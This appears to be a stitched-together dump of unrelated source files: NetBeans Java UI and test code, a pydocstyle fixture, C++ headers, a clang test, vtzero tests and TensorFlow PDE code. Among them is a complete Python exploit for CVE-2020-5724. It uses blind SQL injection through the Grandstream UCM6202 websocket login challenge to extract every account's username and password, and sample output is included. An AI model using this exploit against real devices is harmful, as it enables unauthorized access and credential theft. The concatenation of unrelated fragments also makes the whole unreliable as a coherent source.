compare(Object o1, Object o2) { // Order by response/request settings, then alphabetically by operation/method name MessageSecurity ms1 = (MessageSecurity) o1; MessageSecurity ms2 = (MessageSecurity) o2; int result = Utils.strCompareTo(ms1.getRequestProtectionAuthSource(), ms2.getRequestProtectionAuthSource()); if(result != 0) { return result; } result = Utils.strCompareTo(ms1.getRequestProtectionAuthRecipient(), ms2.getRequestProtectionAuthRecipient()); if(result != 0) { return result; } result = Utils.strCompareTo(ms1.getResponseProtectionAuthSource(), ms2.getResponseProtectionAuthSource()); if(result != 0) { return result; } result = Utils.strCompareTo(ms1.getResponseProtectionAuthRecipient(), ms2.getResponseProtectionAuthRecipient()); if(result != 0) { return result; } if(sortNames) { Message [] m1 = ms1.getMessage(); Message [] m2 = ms2.getMessage(); assert m1.length == 1; assert m2.length == 1; result = Utils.strCompareTo(getMethodName(m1[0]), getMethodName(m2[0])); } return result; } public boolean equals(Object obj) { return this == obj; } public int hashCode() { return 17 + 30 * (sortNames ? 1 : 0); } } private static String getMethodName(Message m) { String name = m.getOperationName(); if(name == null) { JavaMethod method = m.getJavaMethod(); if(method != null) { name = method.getMethodName(); } } return name; } /** Displays panel for editing the message-security-bindings of the selected endpoint. * * @param parent JPanel that is the parent of this popup - used for centering and sizing. * @param binding Reference to current binding data. * @param aSDDVersion For versioning the UI and creating the correct implementation * of any needed MessageSecurity objects. */ static void editMessageSecurityBinding(JPanel parent, boolean editMethodAsOperation, MessageSecurityBinding binding, ASDDVersion asDDVersion, String stringVersion) { EditBindingMultiview bindingPanel = new EditBindingMultiview(binding, editMethodAsOperation, asDDVersion, stringVersion); bindingPanel.displayDialog(parent, NbBundle.getBundle("org.netbeans.modules.j2ee.sun.share.configbean.customizers.webservice.Bundle").getString("TITLE_EditBindings"), // NOI18N HelpContext.HELP_SERVICE_ENDPOINT_SECURITY); // NOI18N } private void displayDialog(JPanel parent, String title, String helpId) { BetterInputDialog dialog = new BetterInputDialog(parent, title, helpId, this); do { int dialogChoice = dialog.display(); if(dialogChoice == dialog.CANCEL_OPTION) { break; } if(dialogChoice == dialog.OK_OPTION) { Collection errors = getErrors(); if(dialog.hasErrors()) { // !PW is this even necessary w/ new validation model? dialog.showErrors(); } else { commit(); } } } while(dialog.hasErrors()); } private static class BetterInputDialog extends InputDialog { private final EditBindingMultiview dialogPanel; private final String panelHelpId; public BetterInputDialog(JPanel parent, String title, String helpId, EditBindingMultiview childPanel) { super(parent, title); dialogPanel = childPanel; panelHelpId = helpId; dialogPanel.setPreferredSize(new Dimension(parent.getWidth()*3/4, dialogPanel.getPreferredSize().height)); this.getAccessibleContext().setAccessibleName(dialogPanel.getAccessibleContext().getAccessibleName()); this.getAccessibleContext().setAccessibleDescription(dialogPanel.getAccessibleContext().getAccessibleDescription()); getContentPane().add(childPanel, BorderLayout.CENTER); addListeners(); pack(); setLocationInside(parent); handleErrorDisplay(); } private void addListeners() { dialogPanel.addPropertyChangeListener(Constants.USER_DATA_CHANGED, new PropertyChangeListener() { public void propertyChange(PropertyChangeEvent evt) { handleErrorDisplay(); } }); } private void handleErrorDisplay() { ArrayList errors = new ArrayList(); errors.addAll(dialogPanel.getErrors()); setErrors(errors); } protected String getHelpId() { return panelHelpId; } } }
9,170
1,007
# Exploit Title: Grandstream UCM6202 WebSocket SQL Injection Dump HTTP User Creds # Date: 05/11/2020 # Exploit Author: <NAME> # Vendor Homepage: http://www.grandstream.com/ # Software Link: http://www.grandstream.com/support/firmware/ucm62xx-official-firmware # Version: 1.0.20.20 and below # Tested on: Grandstream UCM6202 1.0.20.20 # CVE : CVE-2020-5724 # Advisory: https://www.tenable.com/security/research/tra-2020-17 # Sample output: # # albinolobster@ubuntu:~/poc/grandstream/ucm62xx$ python3 websockify_challenge_injection.py --rhost 192.168.2.1 # [+] Scanning for valid user ids: 999 # [+] Found 6 accounts. # [+] Guessing user id 0's username length: 5 # [+] Guessing user id 0's username: admin # [+] Guessing user id 0's password length: 8 # [+] Guessing user id 0's password: <PASSWORD> # ------------------------ # [+] Guessing user id 6's username length: 4 # [+] Guessing user id 6's username: 5000 # [+] Guessing user id 6's password length: 12 # [+] Guessing user id 6's password: <PASSWORD> # ------------------------ # ... import sys import ssl import time import json import asyncio import argparse import websockets # Guess user ids in the DB. These are just incremented values starting at zero. # Values *can* be deleted so, in theory, there is no reason to limit our search # to the first 1000 values... except time. Takes a bit to set up and tear down # the websocket and the device won't let us just use the same socket over and # over again. So scan the first 1000 ids and store the successful values. async def guess_user_ids(uri, ssl_context): user_id = 0 id_list = [] while user_id < 1000: async with websockets.connect(uri, ssl=ssl_context) as websocket: print('[+] Scanning for valid user ids: ' + str(user_id), end='\r') login = '{"type":"request","message":{"transactionid":"123456789zxa","version":"1.0","action":"challenge","username":"\' OR user_id='+str(user_id)+'--"}}' await websocket.send(login) response = await websocket.recv() inject_result = json.loads(response) if (inject_result['message']['status'] == 0): id_list.append(user_id) user_id += 1 print('\n[+] Found ' + str(len(id_list)) + ' accounts.') return id_list # Given a user ID figure out how long the username is async def guess_username_length(uri, ssl_context, uid): length = 1 while length < 100: print('[+] Guessing user id ' + str(uid) + '\'s username length: ' + str(length), end='\r') async with websockets.connect(uri, ssl=ssl_context) as websocket: login = '{"type":"request","message":{"transactionid":"123456789zxa","version":"1.0","action":"challenge","username":"\' OR user_id='+str(uid)+' AND LENGTH(user_name)=' + str(length) + '--"}}' await websocket.send(login) response = await websocket.recv() inject_result = json.loads(response) if (inject_result['message']['status'] == 0): print('') break else: length = length + 1 if (length == 100): print('\n[-] Failed to guess the user\'s username length.') sys.exit(0) return length # Guess the user's username. Limited to length bytes. Could optimize out length # using an additional lookup after each successful match. async def guess_username(uri, ssl_context, uid, length): username = '' while len(username) < length: value = 0x30 while value < 0x7e: if value == 0x5c: value += 1 continue temp_user = username + chr(value) temp_user_len = len(temp_user) print('[+] Guessing user id ' + str(uid) + '\'s username: ' + temp_user, end='\r') async with websockets.connect(uri, ssl=ssl_context) as websocket: challenge = '{"type":"request","message":{"transactionid":"123456789zxa","version":"1.0","action":"challenge","username":"\' OR user_id='+str(uid)+' AND substr(user_name,1,' + str(temp_user_len) + ") = '" + temp_user + "'--" + '"}}' await websocket.send(challenge) response = await websocket.recv() inject_result = json.loads(response) if (inject_result['message']['status'] == 0): username = temp_user break else: value += 1 if value == 0x80: print('') print('[-] Failed to determine the password.') sys.exit(1) print('') return username # Given a username figure out how long the password is async def guess_password_length(uri, ssl_context, uid, username): length = 0 while length < 100: print('[+] Guessing user id ' + str(uid) + '\'s password length: ' + str(length), end='\r') async with websockets.connect(uri, ssl=ssl_context) as websocket: login = '{"type":"request","message":{"transactionid":"123456789zxa","version":"1.0","action":"challenge","username":"' + username + '\' AND LENGTH(user_password)==' + str(length) + '--"}}' await websocket.send(login) response = await websocket.recv() inject_result = json.loads(response) if (inject_result['message']['status'] == 0): break else: length = length + 1 # if we hit max password length than we've done something wrong if (length == 100): print('[+] Couldn\'t determine the passwords length.') sys.exit(1) print('') return length # Guess the user's password. Limited to length bytes. Could optimize out length # using an additional lookup after each successful match. async def guess_password(uri, ssl_context, uid, username, length): # Now that we know the password length, just guess each password byte until # we've reached the full length. Again timeout set to 10 seconds. password = '' while len(password) < length: value = 0x20 while value < 0x80: print('[+] Guessing user id ' + str(uid) + '\'s password: ' + password + chr(value), end='\r') if value == 0x22 or value == 0x5c: temp_pass = password + '\\' temp_pass = <PASSWORD>_pass + chr(value) else: temp_pass = password + chr(value) temp_pass_len = len(temp_pass) async with websockets.connect(uri, ssl=ssl_context) as websocket: challenge = '{"type":"request","message":{"transactionid":"123456789zxa","version":"1.0","action":"challenge","username":"' + username + "' AND substr(user_password,1," + str(temp_pass_len) + ") = '" + temp_pass + "'--" + '"}}' await websocket.send(challenge) response = await websocket.recv() inject_result = json.loads(response) if (inject_result['message']['status'] == 0): password = <PASSWORD> break else: value = value + 1 if value == 0x80: print('') print('[-] Failed to determine the password.') sys.exit(1) return password ## # Using an SQL injection in the challenge generation portion of the login that # occurs over websocket, extract all of the usernames and passwords. ## async def guess_users(ip, port): # the path to exploit uri = 'wss://' + ip + ':' + str(8089) + '/websockify' # no ssl verification ssl_context = ssl.SSLContext() ssl_context.verify_mode = ssl.CERT_NONE ssl_context.check_hostname = False id_list = await guess_user_ids(uri, ssl_context) # loop over all the ids. for uid in id_list: length = await guess_username_length(uri, ssl_context, uid) username = await guess_username(uri, ssl_context, uid, length) length = await guess_password_length(uri, ssl_context, uid, username) password = await guess_password(uri, ssl_context, uid, username, length) print('\n------------------------') top_parser = argparse.ArgumentParser(description='') top_parser.add_argument('--rhost', action="store", dest="rhost", required=True, help="The remote host to connect to") top_parser.add_argument('--rport', action="store", dest="rport", type=int, help="The remote port to connect to", default=8089) args = top_parser.parse_args() asyncio.get_event_loop().run_until_complete(guess_users(args.rhost, args.rport))
3,600
776
<reponame>mrshannon/pydocstyle """A valid module docstring.""" from .expected import Expectation expectation = Expectation() expect = expectation.expect expect('PublicClass', 'D101: Missing docstring in public class') class PublicClass: expect('PublicNestedClass', 'D106: Missing docstring in public nested class') class PublicNestedClass: expect('PublicNestedClassInPublicNestedClass', 'D106: Missing docstring in public nested class') class PublicNestedClassInPublicNestedClass: pass class _PrivateNestedClassInPublicNestedClass: pass class _PrivateNestedClass: class PublicNestedClassInPrivateNestedClass: pass class _PrivateNestedClassInPrivateNestedClass: pass
305
6,989
#pragma once #include "learn_context.h" #include <util/generic/array_ref.h> namespace NCatboostOptions { class TCatBoostOptions; class TLossDescription; } namespace NPar { class ILocalExecutor; } void UpdatePairsForYetiRank( TConstArrayRef<double> approxes, TConstArrayRef<float> relevances, const NCatboostOptions::TLossDescription& lossDescription, ui64 randomSeed, int queryBegin, int queryEnd, TVector<TQueryInfo>* queriesInfo, NPar::ILocalExecutor* localExecutor ); void YetiRankRecalculation( const TFold& ff, const TFold::TBodyTail& bt, const NCatboostOptions::TCatBoostOptions& params, ui64 randomSeed, NPar::ILocalExecutor* localExecutor, TVector<TQueryInfo>* recalculatedQueriesInfo, TVector<float>* recalculatedPairwiseWeights );
314
1,056
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package org.netbeans.jellytools.modules.junit.testcases; import java.util.ArrayList; import org.netbeans.jellytools.EditorOperator; import org.netbeans.jellytools.JellyTestCase; import org.netbeans.jellytools.NbDialogOperator; import org.netbeans.jemmy.operators.JCheckBoxOperator; /** * Class with helpers for easy creating jemmy/jelly tests * * @author <NAME>, <NAME> */ public abstract class ExtJellyTestCaseForJunit3 extends JellyTestCase { private static int MY_WAIT_MOMENT = 500; public static String TEST_PROJECT_NAME = "JUnit3TestProject"; // NOI18N public static String TEST_PACKAGE_NAME = "junit3testproject"; // NOI18N public static String DELETE_OBJECT_CONFIRM = "Confirm Object Deletion"; // NOI18N /* Skip file (JFrame,Frame, JDialog, ...) delete in the end of each test */ public Boolean DELETE_FILES = false; /** Constructor required by JUnit */ public ExtJellyTestCaseForJunit3(String testName) { super(testName); } /** * Find a substring in a string * Test fail() method is called, when code string doesnt contain stringToFind. * @param stringToFind string to find * @param string to search */ private void findStringInCode(String stringToFind, String code) { if (!code.contains(stringToFind)) { fail("Missing string \"" + stringToFind + "\" in code."); // NOI18N } } /** * Find a strings in a code * @param lines array list of strings to find * @param designer operator "with text" */ public void findInCode(ArrayList<String> lines, EditorOperator editor) { String code = editor.getText(); for (String line : lines) { findStringInCode(line, code); } } /** * Find a string in a code * @param lines array list of strings to find * @param designer operator "with text" */ public void findInCode(String stringToFind, EditorOperator editor) { findStringInCode(stringToFind, editor.getText()); } /** * Miss a string in a code * Test fail() method is called, when code contains stringToFind string * @param stringToFind * @param designer operator "with text" */ public void missInCode(String stringToFind, EditorOperator editor) { if (editor.getText().contains(stringToFind)) { fail("String \"" + stringToFind + "\" found in code."); // NOI18N } } /** * Calls Jelly waitNoEvent() * @param quiet time (miliseconds) */ public static void waitNoEvent(long waitTimeout) { new org.netbeans.jemmy.EventTool().waitNoEvent(waitTimeout); } /** * Calls Jelly waitNoEvent() with MY_WAIT_MOMENT */ public static void waitAMoment() { waitNoEvent(MY_WAIT_MOMENT); } /** * Sets all checkboxes inside Junit create tests dialog to checked */ public static void checkAllCheckboxes(NbDialogOperator ndo) { for(int i = 0; i < 7; i++) { new JCheckBoxOperator(ndo, i).setSelected(true); } } }
1,387
3,102
<filename>clang/test/Driver/cl-response-file.c<gh_stars>1000+ // Test that we use the Windows tokenizer for clang-cl response files. The // trailing backslash before the space should be interpreted as a literal // backslash. PR23709 // RUN: printf '%%s\n' '/I%S\Inputs\cl-response-file\ /DFOO=2' > %t.rsp // RUN: %clang_cl /c -### @%t.rsp -- %s 2>&1 | FileCheck %s // CHECK: "-I" "{{.*}}\\Inputs\\cl-response-file\\" "-D" "FOO=2"
172
1,256
<gh_stars>1000+ from .. utils import TranspileTestCase, BuiltinFunctionTestCase import unittest class TypeTests(TranspileTestCase): pass class BuiltinTypeFunctionTests(BuiltinFunctionTestCase, TranspileTestCase): function = "type" def test_type_equality(self): self.assertCodeExecution(""" print(type(123)) print(type(123) == int) """)
150
575
<reponame>Matheus193dn/Mobile-SDK-iOS<gh_stars>100-1000 // // GSFlyLimitCircleView.h // DJEye // // Created by Ares on 14-4-29. // Copyright (c) 2014年 Sachsen & DJI. All rights reserved. // #import <MapKit/MapKit.h> #import "DJIFlyLimitCircle.h" @interface DJIFlyLimitCircleView : MKCircleRenderer - (id)initWithCircle:(DJIFlyLimitCircle *)circle; @end
150
420
from typing import Optional from blacksheep.messages import Request, Response from blacksheep.server import Application class FakeApplication(Application): def __init__(self, *args, **kwargs): super().__init__(show_error_details=True, *args, **kwargs) self.request: Optional[Request] = None self.response: Optional[Response] = None def normalize_handlers(self): if self._service_provider is None: self.build_services() super().normalize_handlers() def setup_controllers(self): self.use_controllers() self.build_services() self.normalize_handlers() async def handle(self, request): response = await super().handle(request) self.request = request self.response = response return response def prepare(self): self.normalize_handlers() self.configure_middlewares()
347
2,164
// // PLAgreementViewController.h // NiuPlayer // // Created by 冯文秀 on 2018/4/8. // Copyright © 2018年 hxiongan. All rights reserved. // #import <UIKit/UIKit.h> @interface PLAgreementViewController : UIViewController @property (weak, nonatomic) IBOutlet UIButton *finshButton; @property (weak, nonatomic) IBOutlet UIWebView *userDelegateDataWeb; @end
132
346
<reponame>FluffyQuack/ja2-stracciatella #ifndef _impTGA_h #define _impTGA_h #include "Types.h" SGPImage* LoadTGAFileToImage(const ST::string filename, UINT16 fContents); #endif
76
4,526
#include <test.hpp> #include <vtzero/types.hpp> #include <string> TEST_CASE("default constructed string_value_type") { vtzero::string_value_type v; REQUIRE(v.value.data() == nullptr); } TEST_CASE("string_value_type with value") { vtzero::string_value_type v{"foo"}; REQUIRE(v.value.data()[0] == 'f'); REQUIRE(v.value.size() == 3); } TEST_CASE("default constructed float_value_type") { vtzero::float_value_type v; REQUIRE(v.value == Approx(0.0)); } TEST_CASE("float_value_type with value") { float x = 2.7f; vtzero::float_value_type v{x}; REQUIRE(v.value == Approx(x)); } TEST_CASE("default constructed double_value_type") { vtzero::double_value_type v; REQUIRE(v.value == Approx(0.0)); } TEST_CASE("double_value_type with value") { double x = 2.7; vtzero::double_value_type v{x}; REQUIRE(v.value == Approx(x)); } TEST_CASE("default constructed int_value_type") { vtzero::int_value_type v; REQUIRE(v.value == 0); } TEST_CASE("int_value_type with value") { vtzero::int_value_type v{123}; REQUIRE(v.value == 123); } TEST_CASE("default constructed uint_value_type") { vtzero::uint_value_type v; REQUIRE(v.value == 0); } TEST_CASE("uint_value_type with value") { vtzero::uint_value_type v{123}; REQUIRE(v.value == 123); } TEST_CASE("default constructed sint_value_type") { vtzero::sint_value_type v; REQUIRE(v.value == 0); } TEST_CASE("sint_value_type with value") { vtzero::sint_value_type v{-14}; REQUIRE(v.value == -14); } TEST_CASE("default constructed bool_value_type") { vtzero::bool_value_type v; REQUIRE_FALSE(v.value); } TEST_CASE("bool_value_type with value") { bool x = true; vtzero::bool_value_type v{x}; REQUIRE(v.value); } TEST_CASE("property_value_type names") { REQUIRE(std::string{vtzero::property_value_type_name(vtzero::property_value_type::string_value)} == "string"); REQUIRE(std::string{vtzero::property_value_type_name(vtzero::property_value_type::float_value)} == "float"); REQUIRE(std::string{vtzero::property_value_type_name(vtzero::property_value_type::double_value)} == "double"); REQUIRE(std::string{vtzero::property_value_type_name(vtzero::property_value_type::int_value)} == "int"); REQUIRE(std::string{vtzero::property_value_type_name(vtzero::property_value_type::uint_value)} == "uint"); REQUIRE(std::string{vtzero::property_value_type_name(vtzero::property_value_type::sint_value)} == "sint"); REQUIRE(std::string{vtzero::property_value_type_name(vtzero::property_value_type::bool_value)} == "bool"); } TEST_CASE("default constructed index value") { vtzero::index_value v; REQUIRE_FALSE(v.valid()); REQUIRE_ASSERT(v.value()); } TEST_CASE("valid index value") { vtzero::index_value v{32}; REQUIRE(v.valid()); REQUIRE(v.value() == 32); } TEST_CASE("default constructed geometry") { vtzero::geometry geom; REQUIRE(geom.type() == vtzero::GeomType::UNKNOWN); REQUIRE(geom.data().empty()); } TEST_CASE("GeomType names") { REQUIRE(std::string{vtzero::geom_type_name(vtzero::GeomType::UNKNOWN)} == "unknown"); REQUIRE(std::string{vtzero::geom_type_name(vtzero::GeomType::POINT)} == "point"); REQUIRE(std::string{vtzero::geom_type_name(vtzero::GeomType::LINESTRING)} == "linestring"); REQUIRE(std::string{vtzero::geom_type_name(vtzero::GeomType::POLYGON)} == "polygon"); }
1,417
322
<reponame>WanpengQian/ConcurrencyFreaks /****************************************************************************** * Copyright (c) 2015, <NAME>, <NAME> * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * Neither the name of Concurrency Freaks nor the * names of its contributors may be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL <COPYRIGHT HOLDER> BE LIABLE FOR ANY * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ****************************************************************************** */ #ifndef _READINDICATOR_ATOMIC_COUNTER_ARRAY_H_ #define _READINDICATOR_ATOMIC_COUNTER_ARRAY_H_ #include <atomic> #include <thread> #include <functional> /** * <h1> Atomic Counter Array ReadIndicator </h1> * Use an array of atomic counters to act as a ReadIndicator * <p> * Progress Conditions: <ul> * <li>arrive() - O(1), Wait-Free Population Oblivious (on x86) * <li>depart() - O(1), Wait-Free Population Oblivious (on x86) * <li>isEmpty() - O(1), Wait-Free Population Oblivious (on x86) * </ul> * Advantages: <ul> * <li> Requires no static assignment of threads, which means you can have as * many threads as needed calling arrive()/depart() * <li> WFPO progress conditions on x86 * </ul> * <p> * Disadvantages: <ul> * <li> Memory usage * </ul> * * @author <NAME> * @author <NAME> */ class RIAtomicCounterArray { private: static const int MAX_THREADS = 32; static const int CLPAD = (128/sizeof(std::atomic<uint64_t>)); static const int COUNTER_SIZE = 3*MAX_THREADS; // Alternatively, use std::thread::hardware_concurrency() static std::hash<std::thread::id> hashFunc; alignas(128) std::atomic<uint64_t> counters[COUNTER_SIZE*CLPAD] ; public: RIAtomicCounterArray() { for (int i=0; i < COUNTER_SIZE; i++) { counters[i*CLPAD].store(0, std::memory_order_relaxed); } } void arrive(const int notused=0) { const uint64_t tid = hashFunc(std::this_thread::get_id()); const int icounter = (int)(tid % COUNTER_SIZE); counters[icounter*CLPAD].fetch_add(1); } void depart(const int notused=0) { const uint64_t tid = hashFunc(std::this_thread::get_id()); const int icounter = (int)(tid % COUNTER_SIZE); counters[icounter*CLPAD].fetch_add(-1); } bool isEmpty(void) { for (int i = 0; i < COUNTER_SIZE; i++) { if (counters[i*CLPAD].load(std::memory_order_acquire) > 0) return false; } return true; } }; #endif /* _READINDICATOR_ATOMIC_COUNTER_ARRAY_H_ */
1,322
4,054
<gh_stars>1000+ // Copyright Yahoo. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root. package com.yahoo.metrics.simple; import com.yahoo.concurrent.ThreadLocalDirectory.Updater; /** * The link between each single thread and the central data store. * * @author <NAME> */ class MetricUpdater implements Updater<Bucket, Sample> { @Override public Bucket createGenerationInstance(Bucket previous) { return new Bucket(); } @Override public Bucket update(Bucket current, Sample x) { current.put(x); return current; } }
202
587
/* * Copyright 2020 LINE Corporation * * LINE Corporation licenses this file to you under the Apache License, * version 2.0 (the "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at: * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the * License for the specific language governing permissions and limitations * under the License. * */ package com.linecorp.bot.messagingapidemoapp.controller; import java.net.URI; import java.util.concurrent.ExecutionException; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import com.linecorp.bot.client.LineMessagingClient; import com.linecorp.bot.client.exception.NotFoundException; import com.linecorp.bot.model.request.SetWebhookEndpointRequest; import com.linecorp.bot.model.request.TestWebhookEndpointRequest; import com.linecorp.bot.model.request.TestWebhookEndpointRequest.TestWebhookEndpointRequestBuilder; import com.linecorp.bot.model.response.BotInfoResponse; import com.linecorp.bot.model.response.GetWebhookEndpointResponse; import com.linecorp.bot.model.response.SetWebhookEndpointResponse; import com.linecorp.bot.model.response.TestWebhookEndpointResponse; import lombok.AllArgsConstructor; @Controller @AllArgsConstructor public class BotController { LineMessagingClient client; @GetMapping("/bot/info") public String info(Model model) throws ExecutionException, InterruptedException { BotInfoResponse botInfo = client.getBotInfo().get(); model.addAttribute("botInfo", botInfo); return "bot/info"; } @GetMapping("/bot/webhook") public String webhook(Model model) throws InterruptedException, ExecutionException { try { GetWebhookEndpointResponse webhook = client.getWebhookEndpoint().get(); model.addAttribute("webhook", webhook); } catch (ExecutionException e) { if (e.getCause() instanceof NotFoundException) { model.addAttribute("notFoundException", e.getCause()); } else { throw e; } } return "bot/get_webhook"; } @PostMapping("/bot/set_webhook") public String setWebhook(Model model, @RequestParam("url") URI uri) { SetWebhookEndpointRequest request = SetWebhookEndpointRequest.builder() .endpoint(uri) .build(); SetWebhookEndpointResponse response = client.setWebhookEndpoint( request ).join(); model.addAttribute("response", response); return "redirect:/bot/webhook"; } @PostMapping("/bot/test_webhook") public String testWebhook(Model model, @RequestParam(value = "url", required = false) URI uri) { TestWebhookEndpointRequestBuilder builder = TestWebhookEndpointRequest.builder(); if (uri != null) { builder.endpoint(uri); } TestWebhookEndpointRequest testWebhookEndpointRequest = builder.build(); TestWebhookEndpointResponse response = client.testWebhookEndpoint( testWebhookEndpointRequest ).join(); model.addAttribute("response", response); return "bot/test_webhook"; } }
1,454
3,138
# Lint as: python3 # Copyright 2019 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Stepper for multidimensional parabolic PDE solving.""" import tensorflow.compat.v2 as tf def multidim_parabolic_equation_step( time, next_time, coord_grid, value_grid, boundary_conditions, time_marching_scheme, second_order_coeff_fn=None, first_order_coeff_fn=None, zeroth_order_coeff_fn=None, inner_second_order_coeff_fn=None, inner_first_order_coeff_fn=None, dtype=None, name=None): """Performs one step in time to solve a multidimensional PDE. Typically one doesn't need to use this function directly, unless they have a custom time marching scheme. A simple stepper function for multidimensional PDEs can be found in `douglas_adi.py`. The PDE is of the form ```None dV/dt + Sum[a_ij d2(A_ij V)/dx_i dx_j, 1 <= i, j <=n] + Sum[b_i d(B_i V)/dx_i, 1 <= i <= n] + c V = 0. ``` from time `t0` to time `t1`. The solver can go both forward and backward in time. Here `a_ij`, `A_ij`, `b_i`, `B_i` and `c` are coefficients that may depend on spatial variables `x` and time `t`. Here `V` is the unknown function, `V_{...}` denotes partial derivatives w.r.t. dimensions specified in curly brackets, `i` and `j` denote spatial dimensions, `r` is the spatial radius-vector. Args: time: Real scalar `Tensor`. The time before the step. next_time: Real scalar `Tensor`. The time after the step. coord_grid: List of `n` rank 1 real `Tensor`s. `n` is the dimension of the domain. The i-th `Tensor` has shape, `[d_i]` where `d_i` is the size of the grid along axis `i`. The coordinates of the grid points. Corresponds to the spatial grid `G` above. value_grid: Real `Tensor` containing the function values at time `time` which have to be evolved to time `next_time`. The shape of the `Tensor` must broadcast with `B + [d_1, d_2, ..., d_n]`. `B` is the batch dimensions (one or more), which allow multiple functions (with potentially different boundary/final conditions and PDE coefficients) to be evolved simultaneously. boundary_conditions: The boundary conditions. Only rectangular boundary conditions are supported. A list of tuples of size `n` (space dimension of the PDE). The elements of the Tuple can be either a Python Callable or `None` representing the boundary conditions at the minimum and maximum values of the spatial variable indexed by the position in the list. E.g., for `n=2`, the length of `boundary_conditions` should be 2, `boundary_conditions[0][0]` describes the boundary `(y_min, x)`, and `boundary_conditions[1][0]`- the boundary `(y, x_min)`. `None` values mean that the second order terms for that dimension on the boundary are assumed to be zero, i.e., if `boundary_conditions[k][0]` is None, 'dV/dt + Sum[a_ij d2(A_ij V)/dx_i dx_j, 1 <= i, j <=n, i!=k+1, j!=k+1] + Sum[b_i d(B_i V)/dx_i, 1 <= i <= n] + c V = 0.' For not `None` values, the boundary conditions are accepted in the form `alpha(t, x) V + beta(t, x) V_n = gamma(t, x)`, where `V_n` is the derivative with respect to the exterior normal to the boundary. Each callable receives the current time `t` and the `coord_grid` at the current time, and should return a tuple of `alpha`, `beta`, and `gamma`. Each can be a number, a zero-rank `Tensor` or a `Tensor` whose shape is the grid shape with the corresponding dimension removed. For example, for a two-dimensional grid of shape `(b, ny, nx)`, where `b` is the batch size, `boundary_conditions[0][i]` with `i = 0, 1` should return a tuple of either numbers, zero-rank tensors or tensors of shape `(b, nx)`. Similarly for `boundary_conditions[1][i]`, except the tensor shape should be `(b, ny)`. `alpha` and `beta` can also be `None` in case of Neumann and Dirichlet conditions, respectively. Default value: `None`. Unlike setting `None` to individual elements of `boundary_conditions`, setting the entire `boundary_conditions` object to `None` means Dirichlet conditions with zero value on all boundaries are applied. time_marching_scheme: A callable which represents the time marching scheme for solving the PDE equation. If `u(t)` is space-discretized vector of the solution of a PDE, a time marching scheme approximately solves the equation `du_inner/dt = A(t) u_inner(t) + A_mixed(t) u(t) + b(t)` for `u(t2)` given `u(t1)`, or vice versa if going backwards in time. Here `A` is a banded matrix containing contributions from the current and neighboring points in space, `A_mixed` are contributions of mixed terms, `b` is an arbitrary vector (inhomogeneous term), and `u_inner` is `u` with boundaries with Robin conditions trimmed. Multidimensional time marching schemes are usually based on the idea of ADI (alternating direction implicit) method: the time step is split into substeps, and in each substep only one dimension is treated "implicitly", while all the others are treated "explicitly". This way one has to solve only tridiagonal systems of equations, but not more complicated banded ones. A few examples of time marching schemes (Douglas, Craig-Sneyd, etc.) can be found in [1]. The callable consumes the following arguments by keyword: 1. inner_value_grid: Grid of solution values at the current time of the same `dtype` as `value_grid` and shape of `value_grid[..., 1:-1]`. 2. t1: Lesser of the two times defining the step. 3. t2: Greater of the two times defining the step. 4. equation_params_fn: A callable that takes a scalar `Tensor` argument representing time and returns a tuple of two elements. The first one represents `A`. The length must be the number of dimensions (`n_dims`), and A[i] must have length `n_dims - i`. `A[i][0]` is a tridiagonal matrix representing influence of the neighboring points along the dimension `i`. It is a tuple of superdiagonal, diagonal, and subdiagonal parts of the tridiagonal matrix. The shape of these tensors must be same as of `value_grid`. superdiagonal[..., -1] and subdiagonal[..., 0] are ignored. `A[i][j]` with `i < j < n_dims` are tuples of four Tensors with same shape as `value_grid` representing the influence of four points placed diagonally from the given point in the plane of dimensions `i` and `j`. Denoting `k`, `l` the indices of a given grid point in the plane, the four Tensors represent contributions of points `(k+1, l+1)`, `(k+1, l-1)`, `(k-1, l+1)`, and `(k-1, l-1)`, in this order. The second element in the tuple is a list of contributions to `b(t)` associated with each dimension. E.g. if `b(t)` comes from boundary conditions, then it is split correspondingly. Each element in the list is 